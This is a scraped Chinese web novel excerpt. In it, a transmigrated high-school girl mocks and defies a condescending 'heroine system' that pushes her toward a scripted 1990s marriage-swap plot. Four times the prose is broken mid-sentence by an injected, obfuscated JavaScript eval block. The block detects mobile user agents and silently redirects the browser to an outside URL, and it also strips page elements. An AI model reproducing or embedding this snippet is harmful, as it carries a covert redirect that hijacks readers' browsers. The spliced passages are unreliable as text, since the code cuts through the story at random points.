《女主并不觉得》 1. 《换嫁九零》 宛如上个世纪的木制电线杆,歪歪斜斜地倚在黄泥巴墙旁边,正中央的黑瓦房,裸露着陈旧的红砖,看起来甚至没有人高。 痕迹斑驳的木门大开着,一眼就能望见里面的锅台,窗框上的颜色有些奇怪,走近一看,才发现不是玻璃,而是一层颜色浑浊的塑料布。 只有那一杆破旧的电线杆,勉强带来一些现代的气息,其它的细节无不清楚明了地告诉叶奚青,她甚至连被拐卖进深山的机会都没有,她是穿回过去了。 果然,脑海里不负众望地响起了一个声音。 “恭喜宿主绑定了爽文女主系统,7418为您竭诚服务。” 叶奚青缓慢转动着眼睛。 在穿越之前,她是一个正备战高考的高三生,作为最喜欢做阅读理解的年纪,叶奚青几乎立刻抓住了重点。 “恭喜?” “没错。” 系统的声音,是一个异常温润的男音,在脑海里说话时,便如同在耳边低语,带着慵懒的暧昧。 不过它嘴上说着恭喜,语气堪称温柔,甚至用了敬称,叶奚青却总觉得,它似乎并没有字面表现的那样谦卑。 当然事实上,也和叶奚青想得差不多。 作为一个女频爽文系统,7418的工作就是从各个世界挑选幸运儿,带她们穿梭各个世界,给她们金手指,为她们造梦,让她们体验完美人生。 在诞生之初,作为一个无知无觉的智能生命,它是没什么好恶和偏向的。 但随着经历的世界越来越多,“人格”越来越丰富,它开始诞生了属于自己的“人性”,那就是—— 它觉得自己的那些宿主,并没有什么值得尊重的。 如果非要用一个词来形容她们,那就是德不配位。 在无数个世界线中,她们会拥有故事中所有优秀男人的喜欢,让所有女人嫉妒,再强大的男主,也会在“追妻火葬场”中对她们痛哭流涕,摇尾乞怜,看起来光鲜亮丽,魅力十足。 但事实上她们能拥有这一切,全是因为它这个系统,不仅在“追妻火葬场”中持有的道德资本是假的,就连她们引所有男人尽折腰的绝世美貌也是假的。 如果褪去所有系统光环,真的会有人喜欢如此普通,如此卑劣的她们吗? 每个大团圆故事结尾,系统总会在心里暗问,于是自然而然得到了轻哂的声音。 日积月累下,它对于自己的宿主,便只剩了轻蔑。 现在这个宿主,当然也不会有什么不同,但是出于职业素养,7418从不会在宿主面前展露这些,于是依然彬彬有礼地开口。 “没错,您已经被爽文女主系统选中,从此之后您将穿梭于各个书中世界,并成为里面唯一的女主。” “当您完美通关所有世界,可以任意选一个你喜欢的世界终生留存,可以是校园甜宠世界、可以是古代权力世界、可以是仙侠……” “够了。” 叶奚青是个很沉默的人,因为这份沉默,别人总觉得她性格很好,事实上恰恰相反。 没听到自己想听的答案,比起耐心分辩,她的内心更优先升起的是戾气。 声音没有起伏道:“我是说,你在恭喜什么,我什么时候允许你绑定了?” 系统一顿。 它没想到叶奚青会问这个问题,一般来说,第一次被绑定的宿主,都会更倾向于知道它是一个什么样的系统,毕竟对于那些普通女生来说,能成为故事中的女主,是多大的幸运,有谁会不愿意拥有这样的际遇呢? 不过没关系,之前好像也有过宿主闹着要解绑,但到头来都是小女孩口嫌体正直的小性子,成为爽文女主,享受过好处后,可再没说过一句不愿意。 所以系统以一种无比包容的态度,继续温和道。 “是你的心在呼唤我哦。” “我知道你,你的家境很普通,唯一拿得出手的可能是你的学习,但其实你自己心里也应该知道,你只是刻苦,并没有天赋。” “你并没有什么魅力,也没什么朋友,在青春期最躁动的时候,也没有任何人注意到角落的你。” “像是潜伏在阴影中的影子,这样的你,有没有羡慕过,那些不用努力,也能轻易获得成功的天才?有没有羡慕过,身边永远有人献殷勤的漂亮女孩子?有没有渴望过,自己也成为故事的中心?” “因为这种渴望,所以我来了,而以后,你也会实现你希冀的一切。” “呵。” 叶奚青笑了。 有时候人在极度无语的情况下,真的会笑,所以叶奚青冷笑着看向系统:“这么说,还是我请你来的喽?” 叶奚青阴阳怪气的程度,有点超乎系统想象。 但没关系,系统还是很自信,因为很快,叶奚青的注意力就不会在它这个系统身上了。 果然没一会儿,破旧的砖瓦房里,就涌出一群人。 最当前的,是一个非常漂亮,但莫名有些艳俗的少女,她看向进门的叶奚青,脸色立马变了。 情绪翻腾了好几瞬,猛然转身,牵住一个男人的手,将他拉出门。 只一瞬,就开始用装得完全不像的楚楚可怜,矫揉造作地对着叶奚青抹眼泪。 “姐姐,我知道和鹏飞哥哥订亲的是你,但我们是真心相爱的,求求你,把他让给我好不好?” 被她拉住的男人神色尴尬极了,但他抬头偷偷看了一眼叶奚青,最终还是低下头去,沉默着没有反驳。 系统在一旁看着,心下一笑。 没有什么,比“打小三”更能吸引女人注意力。 试问哪个女人在看到“矫揉造作的绿茶”,拉着“疑似自己未婚夫”的男人,在自己面前挑衅,能不瞬间火冒三丈。 想必,叶奚青很快就能进入自己的角色了~ 果然,叶奚青的注意力从系统身上移开,缓缓看向近在眼前的人,系统也趁机给叶奚青传输剧情。 这是一本名为《换嫁九零》的年代文,苗双双是本文的恶毒女配。 苗双双出生时,正赶上计划生育最严的时候,所以本来可以成为一个集万千宠爱的独生女。 但她没想到,她妈最小的妹妹,年纪轻轻的,未婚先孕,生了个女儿,对象还跑了。 姥姥舅舅家那边都嫌丢人,让把这个女儿扔了,或者送人,只有她妈是个烂好心,听小姨一哭,就受不了了,自己把那个女孩抱回家来养,也就是叶奚青。 小孩子正是占有欲最强的时候,亲姐姐和自己分爸妈都受不了,更不用说表姐了,所以苗双双从小就讨厌叶奚青。 小的时候,她吃半碗饭,就不允许叶奚青吃一碗,她摔倒了,就不允许叶奚青在旁边干看着,一定要哭着跑过去,把她也打一顿才行。 这种从小积累的恨意,看似轻薄无依,却悠远绵长,一直缠绕到她们长大,总之不管是什么东西,苗双双都不允许叶奚青有比她更好的。 而叶奚青也早在无数个岁月,明白什么是寄人篱下,不管是什么,都沉默着接受。 于是到了她们出嫁的时候,面对同时递过来的两份求亲,苗双双毫不犹豫选择了本地首富的儿子陆景安。 而把只是一个穷大学生,还离婚带娃的顾鹏飞,扔给了自己讨厌的表姐叶奚青。 苗双双嫁的陆家,家里是开酒厂的。 当时差不多是九几年,在那个万元户都非常了不起的年代,陆家已经盖了占地三百平的二层小洋楼,出入全是后世提起来都很了不起的豪车,他们家的酒,甚至摆上过春晚。 嫁入这样的家庭,苗双双自然非常得意,安心地当她的豪门阔太太,每天不是买买买,就是让老公帮她砸钱,要去“逐梦演艺圈”。 但是她没想到,她刚嫁进去没多久,陆家就破产了。 陆家的酒本来全国有名,但就像很多在时代浪潮中昙花一现的企业,陆家酒内部高层相当大一部分是靠着私人关系上台的草台班子,对经营想一出是一出,对品牌品控也缺乏敬畏。 为了省成本,有些高层开始把粮食酒和酒精勾兑的酒掺着卖,发现果然更赚钱后,就开始更大规模这么干。 本来以为没什么事,但口碑这种东西,从来都是破坏比建设快,钱不反应,订单也会反应。 销路越来越不好后,在某一天,因为一点意想不到的小事,突然引发了不敢想象的恐怖连锁,所有隐患都爆了出来。 不仅陆家酒宣告破产,苗双双的公公,还被抓起来了。 如果只是这样,还没什么,毕竟瘦死的骆驼比马大,就算陆家破产了,靠着积累下的财富,苗双双还是能过得比普通人好。 但她没想到,陆景安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075253|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是个没良心的。 陆家败落后,她见势不妙,赶紧抢在大房二房前动手,从陆家大捞一笔,拉着陆景安出去单过,不带累自己这边。 陆景安却嫌她贪心,嫌她能作,嫌她没人性,嫌她说话烦,天天和她吵架,到最后甚至整天整天不着家。 苗双双知道他肯定是在外面有人了,崩溃地用离婚威胁他,没想到只得到了一句“离就离”,苗双双彻底蒙了。 一开始她还逞强,扬言没有陆景安,她也能嫁个更好的。 但岁月不饶人,她早已不是当年那个就算尖酸刻薄,也可以因为美貌,被无脑原谅的美丽少女了,并没有如她所愿的金龟婿喜欢她。 想着去拍戏,赚大钱,但她之前能进娱乐圈都是因为陆家,抱着幻想扎进这个光鲜亮丽圈子的何其多,一茬换一茬,她又算得了什么。 她恨陆家,恨一切,但离了陆家,她才发现她什么都不是。 离婚后被净身出户,一事无成,强撑体面的她,背着个假包,戴着假珠宝,回到阔别已久的家,却看到了意想不到的一幕。 她的表姐,一身光鲜的,被一个神色温柔的男人,从豪车上扶下来,姿态优雅,宛如真正的贵妇。 那时候她才知道,曾经被她瞧不起的穷小子顾鹏飞,早已今非昔比。 自叶奚青嫁给他后,为了妻小,顾鹏飞就发愤图强,辞掉了现有的安逸工作,下海经商。 经过他多年的拼搏,终于白手起家,做成一番事业,成了新的首富。 而他前妻的孩子,也在叶奚青的抚养下成才,把叶奚青当亲妈一样孝敬,他们也有了自己的孩子。 苗双双被眼前的一幕刺痛了。 凭什么!凭什么!叶奚青凭什么过得比她好! 内心被剧烈的恨意爬满,万万没想到,她居然重生了! 这一次,她重生到还没做出选择的时候,当看到那一双重新递上来的求亲选项时,苗双双毫不犹豫做出选择—— 这一次,换她嫁给顾鹏飞! 叶奚青忍受着强加进来的信息流在脑海里肆虐。 不愧是无法想象的高科技,她好像真的身临其境地感受到了,苗双双和叶奚青这对姐妹的爱恨纠葛。 当了解所有后,叶奚青看向苗双双,理所当然地产生了疑问:“她重生的意义是什么?” “呵。”系统轻笑出声。 “有的人重生,是为了成功,有的人重生,或许只是为了证明,自己为什么会这么失败。” “苗双双将自己的一切不幸,都归咎于自己选错了人,但有没有一种可能,不是别人将不幸带给了她,而是她将不幸带给了别人,谁选择她,谁就会变得不幸。” “性格决定命运,人只能为了自己的命运负责,而你……”系统温柔地在叶奚青耳边低语—— “你选择谁,谁就会变得幸运!” “两世,谁选择苗双双,谁就会变得不幸,谁选择你,谁就会变得幸运,这说明什么~” 难得系统这个听不懂人话的人工智障,也会想和她产生一丝互动,叶奚青便将目光看向了前方。 在喧闹的间隙,另一位男主也登场了。 被苗双双嫌弃的陆景安,漫不经心地看着眼前的闹剧,仿佛一切都和他无关。 夕阳照在他英俊的脸庞上,给他痞帅的面容,染上一丝神秘的气息,像是命运的牵引,陆景安的目光,直直落到叶奚青身上。 叶奚青不是个原始人,她平时学习压力大的时候,也会看各种小说调节自己。 所以她立刻就知道了,这个七情上脸,宛如跳梁小丑的表妹,大概只是个调味。 那个在旁边垂着头的“前世赢家”,和这个漫不经心的“今世败犬”,才是主菜。 叶奚青的目光,在这两位男士身上流连了一会、比较了一会、沉思了一会,瞬间福至心灵。 “这说明,这两个男的全是霉货,我这个蠢猪,被他们吸了两辈子气运。” 系统原本是不想和一个长舌妇一样,和宿主论长论短的。 但想和一个女孩子拉近距离,最快的方式当然是和她谈八卦了,所以系统也便依样副从着:“对……” 话音一落,才反应过来叶奚青说了什么,主脑宕机了一瞬。 “不对……你在说什么?” 2. 《换嫁九零》 系统愣愣地听着叶奚青说的惊人话,仿佛在听外星语。 正常人难道不是觉得女配是个扫把星,谁娶她谁倒霉,而女主是个旺夫命,谁娶她谁旺夫吗,叶奚青到底在说什么! 系统震惊地说不出话,作为当事人的叶奚青,却非常冷静。 她不是听不懂系统的潜台词,也不是不知道系统想要的答案,但系统犯了一个巨大的错误,那就是它精心挑选的叶奚青,今年只有18岁。 身为一个数字生命的它,并不知道一个刚满18岁的女孩,内心有多敏感,多易怒。 系统对她千依百顺,都不一定能得到她的认可,更遑论用这种充满戏谑、轻佻、诱导的态度,说一些仿佛骗蠢猪的话。 所以叶奚青只是看了系统一眼,就自然而然冷笑出声,心中的恶意不用挖掘,已经像毒液一样从舌尖流淌而出。 “难道不是吗?” “照你说的,陆景安前世清楚明了的破产了,是板上钉钉的倒霉货一号,顾鹏飞没有我,也要肉眼可见的完蛋,是顺理成章的倒霉货二号。” “你就算没学过物质守恒,也该学过控制变量。” “已知那两个男的在没有外因加入的情况下,各自倒霉了一辈子,却在娶我后,离奇的走运了,那他们走的运,是谁的运,总不能是稳定倒霉的恶毒女配吧?” “这么晦气的两个男的,为什么能出现在我的爽文女主剧本里,你一个爽文系统,还让自己的女主把自己的运气分给两个霉货,爽吗?配吗?” 系统:………… 从来只有它在心里鄙夷宿主的份,还是第一次被瞧不起的宿主问配不配…… 系统运转了好久,才找回自己的声音。 它语气中令人火大的戏谑,终于消失了一些,斟酌了一下,立刻明白了症结所在。 “宿主,我先向你道歉,或许是我之前对你来说可能有些不太顺耳的评判,让你对我产生了一些逆反。” “但请你相信,作为一个需要一直绑定下去的助手,我对你没有任何恶意。” 随后系统将叶奚青的视线,强制引向陆景安。 “现在请您冷静下来,仔细看看这个男人,他并没有那么坏不是吗?” “故事背景中的陆景安,来自苗双双视角,人从来不会觉得错误的是自己,所以从苗双双的眼睛来看,就只能看见陆景安的不堪。” “但事实上,陆景安已经拥有这个世上,超越大多数人的资本,无论是家世还是容貌。” “前世的女主嫁给顾鹏飞,为他付出了太多,辛辛苦苦才享受到了后来的成果,嫁给陆景安却能一步到位。” “而陆家面临的危机,其实也并没有那么难以解决,你只要稍作提醒,就能改变陆家败落的命运。” “甚至就算陆家真的破产了,和陆景安一起东山再起,也远比陪顾鹏飞白手起家简单,根本谈不上什么吸你气运。” “什么也不用做,只要稍作拨弄,换一个选择,就能享受一棵已成熟大树的荫蔽,这样多好啊!” “不要因为和我闹别扭,就做出让自己后悔的决定啊!” 哦? 叶奚青在系统的拨弄下,无法自控地看向陆景安。 陆景安也注意到了她的视线,挑眉不语,气氛瞬间焦灼起来。 村里的消息,从来没有什么保密可言,苗寡妇家的两个女孩,同时被两家求亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075254|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,早和插了翅膀似的传遍全村,来看热闹的着实不少。 一开始苗双双嫁陆家,叶奚青嫁顾家,众人并没有什么意外。 毕竟外甥女再亲,还能有亲女儿亲。 涉及小事,苗寡妇还能要要脸,摆摆一碗水端平的样子,涉及这种婚嫁大事,怎么可能不给自己的亲女儿争。 顾鹏飞虽然也是个大学生,工作不错,但和陆家三小子比,那差的可不是一星半点。 众人这瓜吃得没滋没味,万万没想到,还能有这种惊天逆转! 看着苗寡妇的外甥女,一步步向着陆家三小子走去,所有人都瞪大眼睛。 不会吧…… 苗双双当然也看见叶奚青的动作了,但她没有一丝不悦,或者说,这正是她想要的。 要不是这样,她重生后偷偷换个人嫁就行了,干什么要搞这么大阵仗。 她就是要激叶奚青嫁给陆景安,她就是不想叶奚青好过。 只是一个人的成功,有什么好喜悦的呢,她要叶奚青也品尝一下她前世的痛苦,她要证明,叶奚青永远比不上她! 苗双双满怀恶意地看着叶奚青来到陆景安面前,所有人都在期待着接下来的剧情。 系统也是装都不装了,之前还只是似是而非地引导叶奚青做选择,现在直截了当地推荐起陆景安。 叶奚青在这种剧烈的期待中,依照众人的意愿,走到陆景安面前,上下打量了一眼,随后冷笑出声。 “如果你很厉害,就彻底控制我走剧情,如果不能——” 叶奚青别过陆景安的肩膀,没理会任何人,只回头留给苗双双一个云淡风轻的眼神作为回答。 “你随便。” 3. 《换嫁九零》 空气沉默了。 叶奚青既没有对恶毒女配的挑衅作出反应,也没有在激怒下换个选择,只是竞自离开。 不单是故事中的主角反应不及,围观群众也被梗了一下,总感觉这个发展,和他们期望的差很多…… 而系统已经不是期望落空那么简单了,它只感觉自己的核心都快爆炸了,再没有一丝之前的淡定从容,近乎咬牙切齿道。 “宿主,你是不是真的以为自己是天命之女,是不是以为我非你不行?” “很遗憾呢,天下没有白吃的午餐,系统绑定你,也是有条件的。” “在你享受爽文女主人生的同时,也需要你打出极高的观赏度,你能在系统处获得的好处,和你打出的观赏度评分成正比。” “你不是一个很蠢的人,这个故事要怎样进行,才最有观赏性,应该能猜到吧?” “现在回头还来得及,你也不想第一个世界,就惨淡收场吧?” 叶奚青以为,这个叫系统的存在,会跟她装很久,没想到这么短时间就图穷匕见了。 那这就很有意思了,叶奚青微笑道:“啊,这个样子就好多了,你知不知道你之前那种惺惺作态的腔调,并不会让人觉得很体贴,只会觉得很烦人。” “终于不全是为我好了,终于不是被我的心召唤来了,原来这个绑定,不是无偿的啊。” “既然如此,你有什么资格对我指手画脚,就不怕这个故事的观赏性,从换嫁的女主女配身上,转移到你和我的吵架上吗?” 叶奚青的调侃,让系统气结,但让它更气的是,后台的评论真的开始从故事剧情,向着宿主和系统吵架转移。 “哈哈哈,笑死我了,第一次看见女主开局不怼恶毒女配,哐哐怼系统的。” “哈哈哈,小7,让你天天自夸金牌系统,遇到对手了吧~” “嗯……只有我觉得挺无聊的吗,我看直播只是为了放松自己,无关的节目效果能不能少点,速速进入主线,我只想看女主女配换嫁后的打脸剧情。” “我倒觉得挺有意思的,从未设想过的角度,说的有点道理啊,哈哈哈。” …… 系统搞这个穿越,当然不只是做慈善,除了让宿主享受爽文女主人生,它也在将宿主的经历,进行实时转播,供它们世界的人观赏。 迅速接收着后台评论,7418怒火越来越盛。 它经营这个项目这么多年,从来没有宿主敢这么给它添乱! 不过怒火到了极致,系统反而冷静下来。 人都是慕强的,刚刚它没有准备,被叶奚青怼了个哑口无言,露出败相,以至于自己之前积累的观众,都开始顺着叶奚青的意思,来调侃它了。 不能继续失态下去了,被一个小女生牵着鼻子走,这简直败它金牌系统的格调。 所以一瞬间,系统就变回了初见的那个系统。 它不再气急败坏,不再疾言厉色,而是用一如既往的温柔声音,施施然道—— “哦?如此看来,宿主,您已经确定了您的心意是吗?” “既然如此,系统将不再对您的决定进行干涉,您要知道,系统只是您的助手,虽然会为您提供最优解,但终究您才是主体,您能完全决定自己的人生。” “只是走全新的道路,系统并不保证会造成什么样的剧情改变哦,比如——” 陆景安愣愣地看着侧身而过的叶奚青,有点反应不及,他还以为那个向着他走来的女孩,会选择他。 今天的他,是有点晦气的,原本他向苗双双求婚,也不过是看她有几分姿色,他这样的家庭,想娶什么样的美女没有,苗双双还敢变他的卦? 在苗双双刚拒绝他时,陆景安几乎气笑了,不过看到叶奚青过来时,陆景安又改变了主意。 为了让叶奚青更好地适应穿越,系统有意将任务目标的身体数据,还有名字,调的和她现世一样。 十八岁的叶奚青已经很高了,逆着夕阳走来,几乎看不清她的轮廓。 但当她靠近时,那一头乌黑浓郁的长发,和比黑夜还要暗沉的眸子,便一起闯进了他的心间。 陆景安的心怦怦跳着,比第一次见到苗双双时跳得还快。 他以前从没注意过这个闷声不响的“大姨子”,现在才发现,她居然有着一双那样特别的眼睛。 狭长的眼锋上挑,圆瞳凝成一点,宛如某种冷血的爬行动物,不够符合标准审美,但从乌压压的发间抬起时,便给人一种惊心动魄的意味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075255|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆景安不知道苗家到底是什么样的风水,这样的小地方,居然能养出两个各具风韵的美人坯子。 但当叶奚青站在他眼前时,陆景安便只剩了表面的自傲,内心暗暗想:如果叶奚青也换个选择,选择他的话,那他其实会同意的! 但是什么也没发生。 陆景安看着叶奚青擦肩而过的身影,鼻尖还能嗅到她发间仿佛清冷夜露的芬芳,但她的身影已经决然地别他而去,没留给他一个眼神。 在最初的失落过后,陆景安瞬间只剩了被甩两次的巨大羞恼。 转头看向从屋里追出来的苗寡妇,冷冷地笑着。 “好啊,好啊,你们苗家一家子都挺好的。” “既然如此,我陆家给的彩礼,我会一分不少的,全拿回去!” 苗双双的亲妈,叶奚青的大姨,苗寡妇叶世英,早在状况发生之初,就着急忙慌地从屋里跑出来,听到这,眼睛瞪的牛大。 谁不知道陆家娶亲下了多大血本,这些天往苗家搬的,光冰箱、彩电之类的大电器就装了一整车,更不用说礼金有多少了。 围观群众都能感受到苗寡妇的心在怎样滴血,更不用说苗寡妇本人了。 因为这怒气,苗寡妇指着苗双双的手直发抖,系统却在一旁冷冷地看着笑话。 它有时候是会觉得女主和男主并不应该在一起,但那是因为它觉得平凡的女主,根本配不上家境优越、位高权重、才貌双全,方方面面都异常优异的男主。 而叶奚青凭什么! 她是有几分姿色,但那几分廉价的美貌,能和陆家的家大业大抗衡吗? 她是有些小聪明,但那些只能在一群书呆子里面被称道的死读书本事,能和顾鹏飞那种在商场叱咤风云、尔虞我诈、白手起家的真本领比拟吗? 说实话,要不是剧情需要,系统觉得叶奚青配顾鹏飞都是高攀了。 叶奚青却胆敢把它两个都很看好的男主,贬得一文不值! 系统在一旁咬牙切齿地冷笑着。 好啊,好啊,你清高是吧,你自信是吧,你觉得男主吸了你那破气运是吧! 那它倒要看看,没了叶奚青嫌弃的男主,家徒四壁,一无所有的她,到底怎么维持她爽文女主的体面! 4. 《换嫁九零》 叶奚青却不想理会这些。 她看着陌生的环境,墙面因为年久失修,裂开一大道口子,屋里只有一个大土炕,盖着颜色肮脏的炕席,这一切的一切,都在告诉叶奚青,她不在原来的世界了。 她在原来的世界过得好吗?原来的世界有值得她留恋的东西吗?之前在原世界的时候没想过,在新世界的时候也找不到答案。 但总归这个世界和她无关,叶奚青冷漠地看着一切,心下恹恹。 看热闹的人都走了,便只剩下苗家母女,和一地狼藉。 叶世英忍了好久,还是没忍住,对着女儿劈头盖脸骂起来—— “你到底想干什么!脑子被驴踢了!陆家这么好的婚事,就被你搅黄了!” “知不知道有多少人羡慕你这桩婚事呢,知不知道白天有多少人笑话你!” “你就算不愿意,也提前跟我说啊,闹成这样是想干什么!” 苗双双被亲妈骂了个狗血淋头,抱着胳膊站在地上,恨恨地不说话。 前世的巨大落差还历历在目,转眼重生了,本以为会获得一个辉煌的结局,万万没想到,在第一步就坠机了。 是哪里出了问题呢,这和她想得一点也不一样啊! 苗双双努力思考着,终于发现了问题所在,转头看向一旁事不关己的叶奚青,阴恻恻地问:“你为什么不嫁给陆景安!” 农村有把被子叠放在炕尾的习惯,苗家的墙没有让人想靠的欲望,叶奚青便将自己靠在被子垛上,冷冷地看着一切。 听到苗双双的发问,意念从沉沉的晦暗中牵起,歪头看向她:“我为什么要嫁给他呢?” 这还用问吗,她抢了她的顾鹏飞,她当然要抢走她的陆景安啊! 陆景安这么好,为什么不抢!为什么不抢! 苗双双快要气炸肺了,却只能按捺性子,和叶奚青装。 “姐,我不也是为你想吗。” “虽然鹏飞哥哥也喜欢我,但终归他是你的未婚夫。” “我抢你一个,还你一个,不是正好?” “要不明天我让我妈去陆家说,让你替我嫁给陆景安。” “这样我们各自有了归宿,妈,你也不用再心疼陆家的彩礼了。” 叶世英:? 苗双双神奇的脑子,把她亲妈也是气疯了,好在没等叶世英发怒,叶奚青已经抢先微笑了。 “不好。” 她的心情本不好,便乐于给人添麻烦,抬头看了一眼叶世英,又看了一眼苗双双,微微一笑。 “你可能想嫁给顾鹏飞,但不代表我也想嫁给陆景安。” “不过顾鹏飞其实我也并不想嫁,你要喜欢,送给你也没什么关系,只是——” “你和顾鹏飞商量好,给多少彩礼了吗?” 苗双双:? 她咬着一股劲,就想撺掇叶奚青嫁给注定破产的陆景安,万没想到,叶奚青居然能把话题转这上面来。 一旁气成风箱的叶世英,原本已经准备开启战斗模式了,听见叶奚青的话,突然冷静下来。 对啊! 因为今天苗双双闹的事太出人意料,她光顾着骂苗双双了,完全没反应过来思考自己女儿为什么突然变卦。 现在想一想,就在不久之前,她女儿还因为被陆家求亲欢天喜地呢,对顾鹏飞是半只眼睛看不上,怎么突然间就改变主意了呢? 叶世英头脑冷静下来后,缓缓冒出一个念头:该不是顾鹏飞故意勾引她女儿吧! 想到这个答案后,叶世英瞬间被怒火充满胸口。 也是啊,她女儿刚18岁,她能懂什么啊! 她男人没的早,这么多年,见过的不要脸的男的,那可多了,最知道男人是一群什么样的玩意。 在家充好男人、在外充好人,出去没人的时候,见着女人就要撩骚几句,趁机摸几把。 对外面说的时候,说自己是妻管严,家里什么都被老婆管着,实际上看见小姨子进家,眼珠子都掉碗里。 原本以为顾鹏飞看着白白净净、老老实实的,还是个读过书的大学生,肯定和庄稼地里的那些臭男的不一样,没想到也不是个东西! 她对顾鹏飞可够好了,因着陆家的出手大方,加上青丫头到底不是她亲女儿,她不想承担“养外甥女就是为了卖”的恶名,所以彩礼一分没要。 万没想到,就是这样,顾鹏飞还不知足,娶她外甥女还不够,还要撩拨她亲女儿! 好好好,他顾鹏飞是不是以为撺掇着她女儿坏了和陆家的婚事,那她就会捏着鼻子,把自己亲女儿嫁给他了? 做梦! 她宁愿养自己闺女一辈子,把她养成老姑娘,也绝不便宜这么个下三烂! 想通后,叶世英反而不骂了,冷冷一笑,重新看向苗双双:“对啊,你不是说你鹏飞哥哥喜欢你吗,那他给你多少彩礼?” “陆家可光礼金就给了三万八千八呢,你鹏飞哥哥给的数,可不会比这个少吧?” 苗双双:…… 这顾家现在怎么给得起! 身为本书的恶毒女配,苗双双当然不是那种为了爱情,高风亮节到连彩礼都不要的人,事实上前世嫁陆家的时候,她要的比谁都多。 但问题是现在不是顾鹏飞求她,是她求顾鹏飞啊,万一把顾鹏飞要跑了怎么办! 那可是未来的全国首富啊! 苗双双恨得牙都快出血了,叶奚青干吗要说这个,果然她就不想她好过! 但是她再恨也没用,叶奚青全程没做任何出格的事,她妈一点想不起来,就捡着她苗双双收拾。 而不管苗双双再重生,再知道先机,她也不能和她妈直接掰了,只能扯着自己头发和自己亲妈互吵,再没人有时间理叶奚青一下。 系统还在指望着叶奚青迷途知返。 苗家母女是很经典的反派角色,一个善妒,重生后和姐姐抢姐夫,一个贪婪,张口闭口都是钱,这种很能激起人怒意的角色,原本以为相处后,叶奚青就会改变主意,没想到她还是毫无波澜。 发现再无一丝可能走原剧情后,系统只能咬牙切齿道:“那宿主,改变剧情后,您有新的想法吗,总不能在这个世界混吃等死,直到结束吧。” 为什么不行? 叶奚青懒洋洋地靠在被子垛上。 苗家母女争吵的声音非常大,但因为主题单一,都是车轱辘话,久而久之,就成了单薄的背景板。 叶奚青听着系统的话,有些奇怪地反问:“这难道不是我该问你的问题吗?你一个系统,还是爽文系统,不会除了嘴皮子,什么金手指都没给我吧?” “你也说了,我只是个普通高中生,一个普通高中生能做什么?” “有金手指就快发,我视情况决定走什么样的剧情,没有就算了。” 系统:? 它想过叶奚青说任何话,唯独没想到这句。 难不成叶奚青开局哐哐怼它那么久,还把它当一个系统呢? 叶奚青支着脑袋,无聊地等系统回话。 那不然呢,它不是系统,难道她是? 一人一统僵持了很久,终于还是系统认输了。 勉强扯出一个微笑:“我还以为宿主之前那样说,是拒绝系统帮助的意思,原来您还是需要我啊。” “金手指当然有了,但为了不破坏世界平衡,系统并不会给您超脱任务世界的能力。” “就像本世界除了重生以外,并没有其它玄幻元素,系统商城里也就不会向您出售玄学方面的能力。” “现在宿主所处的世界,是最初级,最简单的世界,需要您自行探索。” “不要期待系统会提供太强力的金手指哦。” 叶奚青听着系统的话,终于有所触动:“商城?也就是需要购买呗?不仅出售现实物质,还会出售玄学能力吗?” 系统一顿,终于有些高兴了,瞬间打了个响指:“没错,系统的商城森罗万象,无所不包,无所不有,但有个条件,就是需要积分兑换。” “这也是系统建议您走原剧情的原因,我们这个节目实时转播,收视越好,您结算获得的积分越多。” “积分不仅能购买商城道具,让您更好地完成任务,在您决定留存某个世界,或回到原世界后,积分还能以1:100的兑换比例,兑换该世界最保值的货币。” “而系统为您制定的原剧情,经过了无数次市场检验,是最受欢迎的剧本,在这基础上发挥,有利于您获得更多的积分!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075256|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回到原来的世界…… 叶奚青慢慢离开被子垛,像是招魂一样,精气神重新回到躯体。 “那我现在有多少积分?我怎么样才能回到原来的世界?” 听到叶奚青的问题,系统瞬间扬眉吐气。 它就说吗,哪有宿主会真情实感地拒绝系统啊,原来只是不知道好处而已! 笑吟吟地开口:“只要宿主达成十个世界以上的A级及以上评价,系统就会将您送回原来的世界,您还会带上过往积累的所有积分。” “不过因为宿主并没有按照系统的要求完成任务,所以现在还没有积分哦。” “但因为宿主是新人,有系统赠送的新人礼包,宿主现在要拆开吗?” 